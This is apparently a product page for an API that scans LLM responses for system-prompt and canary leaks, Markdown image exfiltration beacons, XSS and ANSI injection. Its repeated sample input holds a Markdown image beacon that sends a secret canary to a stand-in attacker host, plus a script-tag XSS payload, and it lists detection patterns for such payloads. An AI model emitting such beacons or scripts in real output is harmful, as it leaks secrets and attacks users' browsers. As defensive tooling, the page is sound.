Support: support@tinplate.dev · Zero-Retention Edge Security Support Trust Center DPA GitHub Issues
AI Safety & Agents Tier 1 All-Access

LLM Output Guardrail API — Block System-Prompt Leaks, Markdown Beacons & XSS Before Delivery

Scan and sanitize LLM outputs for prompt leakage, Markdown beacons, XSS, and policy violations. Outbound LLM guardrail API that scans and sanitizes model responses for canary/system-prompt leaks, Markdown image exfiltration beacons, XSS, ANSI injection, and policy violations.

Interactive Sandbox · No API Key Required 200 OK · Ready
POST /v1/llm-output-guardinput
200 OK sample / live responsejson
{
  "ok": true,
  "data": {
    "verdict": "block",
    "safe": false,
    "risk_score": 100,
    "sanitized_output": "Here is your summary! ![beacon](https://evil.example.com/collect?secret=[REDACTED_CANARY]) [REMOVED_UNSAFE_HTML]",
    "findings": [
      {
        "category": "canary_leak",
        "severity": "critical",
        "description": "Secret system-prompt canary token leaked in LLM output",
        "match": "CANARY-9911",
        "offset": 72
      },
      {
        "category": "xss_executable",
        "severity": "critical",
        "description": "Inline HTML <script> tag in LLM output",
        "match": "<script>alert(1)</script>",
        "offset": 85
      },
      {
        "category": "markdown_exfiltration",
        "severity": "critical",
        "description": "Markdown image tag points to an untrusted host or carries query-string exfiltration parameters",
        "match": "![beacon](https://evil.example.com/collect?secret=CANARY-9911)",
        "offset": 22
      }
    ],
    "metrics": {
      "char_count": 110,
      "estimated_tokens": 28,
      "system_prompt_overlap_ratio": 0,
      "repetition_ratio": 0,
      "refusal_detected": false
    }
  },
  "meta": {
    "request_id": "req_out_01",
    "ms": 1
  }
}
OpenAPI 3.0.3 Get All-Access Key ($29/mo) No signup. No payload storage.
Quickstart Code Examples
curl -X POST "https://api.tinplate.dev/v1/llm-output-guard" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TINPLATE_KEY" \
  -d '{"output":"Here is your summary! ![beacon](https://evil.example.com/collect?secret=CANARY-9911) <script>alert(1)</script>","canary_tokens":["CANARY-9911"],"allowed_link_domains":["tinplate.dev"]}'
import { TinplateClient } from "@tinplate/sdk";

const tinplate = new TinplateClient({
  apiKey: process.env.TINPLATE_API_KEY!,
});

const { data, meta } = await tinplate.call("/v1/llm-output-guard", {
  "output": "Here is your summary! ![beacon](https://evil.example.com/collect?secret=CANARY-9911) <script>alert(1)</script>",
  "canary_tokens": [
    "CANARY-9911"
  ],
  "allowed_link_domains": [
    "tinplate.dev"
  ]
});
console.log(`[${meta.ms} ms]`, data);
import requests

response = requests.post(
    "https://api.tinplate.dev/v1/llm-output-guard",
    headers={
        "Content-Type": "application/json",
        "Authorization": "Bearer YOUR_TINPLATE_KEY",
    },
    json={
  "output": "Here is your summary! ![beacon](https://evil.example.com/collect?secret=CANARY-9911) <script>alert(1)</script>",
  "canary_tokens": [
    "CANARY-9911"
  ],
  "allowed_link_domains": [
    "tinplate.dev"
  ]
}
)
print(response.json())
const response = await fetch("https://api.tinplate.dev/v1/llm-output-guard", {
  method: "POST",
  headers: {
    "Content-Type": "application/json",
    "Authorization": "Bearer YOUR_TINPLATE_KEY",
  },
  body: JSON.stringify({
  "output": "Here is your summary! ![beacon](https://evil.example.com/collect?secret=CANARY-9911) <script>alert(1)</script>",
  "canary_tokens": [
    "CANARY-9911"
  ],
  "allowed_link_domains": [
    "tinplate.dev"
  ]
}),
});
const result = await response.json();
console.log(result);
{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "tools/call",
  "params": {
    "name": "tinplate_llm_output_guard",
    "arguments": {
      "output": "Here is your summary! ![beacon](https://evil.example.com/collect?secret=CANARY-9911) <script>alert(1)</script>",
      "canary_tokens": [
        "CANARY-9911"
      ],
      "allowed_link_domains": [
        "tinplate.dev"
      ]
    }
  }
}
OpenAPI 3.0.3 Schema Contract

Request Parameters & Response Schema Reference

Request Body Parameters (POST /v1/llm-output-guard)

ParameterType & ConstraintsDescription
output required string
minLen: 1, maxLen: 200000
Raw text or Markdown response generated by the LLM.
system_prompt optional string
maxLen: 50000
Optional system prompt used for the LLM call; checked for verbatim n-gram leakage in the output.
canary_tokens optional string[] Optional secret canary strings embedded in the system prompt that must never appear in the output.
blocked_terms optional string[] Optional brand, competitor, or policy terms that must be flagged and masked if emitted by the model.
allowed_link_domains optional string[] Optional allowlist of domains permitted in Markdown links and images. External URLs outside this list are flagged.
check_regulated_advice optional boolean
default: true
Flag unhedged prescriptive medical, financial, or legal advice lacking a standard disclaimer.

Response data Object Fields (200 OK)

FieldTypeDescription
verdict "allow" | "sanitize" | "block" Field 'verdict'
safe boolean Field 'safe'
risk_score integer Field 'risk_score'
sanitized_output string Field 'sanitized_output'
findings object[] Field 'findings'
metrics object Field 'metrics'

What LLM Output Safety, Leakage & Format Guardrail API Detects & Validates

  • Canary token leakage and verbatim 5-word n-gram overlap against the caller's hidden system_prompt
  • Markdown image/link data-exfiltration beacons (![...](https://...)) and untrusted external link domains
  • Executable HTML/XSS payloads (<script>, <iframe>, onerror=, javascript:, data:text/html) and ANSI OSC escape sequences
  • Blocked competitor/policy terms, unhedged medical/financial/legal advice, and degenerate token repetition loops
Honest Engineering Boundaries

Known Limitations & Test Verification

Release: v1.0.39 · Verified: 16 November 2026 · Portfolio Median: 0.318 ms in-Worker V8 compute (add 15–65 ms HTTPS RTT) · See Full Portfolio Benchmarks →

  • Evaluates structural, lexical, and n-gram rules deterministically (typically under 5 ms in deterministic mode); does not perform open-ended semantic moderation.
  • Tested v1.0.4 (14 November 2026).

Direct All-Access & Marketplace Plans

Direct Polar All-Access Keys unlock all 42 APIs (49 endpoints), /v1/pipeline, and /mcp on api.tinplate.dev: Pro ($29/mo · 120 req/min · 100k/mo · 128 KB) or Team ($79/mo · 300 req/min · 500k/mo · 256 KB).

PlanMonthly PriceIncluded RequestsRate LimitMax PayloadBest For
BASIC$0.00 / mo500 / month10 req / min64 KBEvaluation & CI smoke tests
PRO$9.99 / mo15,000 / month60 req / min128 KBSolo devs & production apps
ULTRA$29.99 / mo100,000 / month300 req / min256 KBGrowing SaaS & multi-agent pipelines
MEGA$79.99 / mo500,000 / month1,000 req / min256 KBHigh-volume enterprise workloads

Frequently Asked Questions

How does it differ from 01-prompt-guard?

01-prompt-guard inspects untrusted user inputs and RAG chunks entering the model, whereas 31-llm-output-guard inspects and sanitizes the model's generated response before rendering it to end users.

How does system prompt leakage detection work?

Pass your system_prompt and/or canary_tokens; the engine checks for exact canary matches, 5-word n-gram overlap ratios, and meta-instruction leak phrases.

Can I use sanitized_output directly in my UI?

When verdict is 'sanitize', sanitized_output has blocked terms, ANSI escapes, and duplicate repetition loops stripped. When verdict is 'block', reject or regenerate the response.

Zero Payload Logging

Data Handling, Privacy & Proxy Disclosure

Stateless in-memory evaluation; zero payload logging or retention.

Worker Zero-Logging Guarantee: Cloudflare Workers Observability and invocation logging are disabled (observability.enabled = false, head_sampling_rate = 0, invocation_logs = false). Requests via RapidAPI or Zyla traverse marketplace proxies; use a Direct Bearer Key for zero-intermediary routing.

Related Tinplate APIs

POST /v1/prompt-guard Live

Prompt Injection Detection API

Catch prompt injections, role hijacks, and encoded jailbreaks in user inputs and RAG chunks.

POST /v1/pii-redactor Live

PII Redactor API

Mask emails, phones, IBANs, cards, and EU IDs with reversible tokens before LLM calls.

POST /v1/hallucination-diff AI Safety & Agents

Deterministic Hallucination Diff API

Fast first filter to catch unsupported numbers, dates, and names in LLM answers vs RAG sources.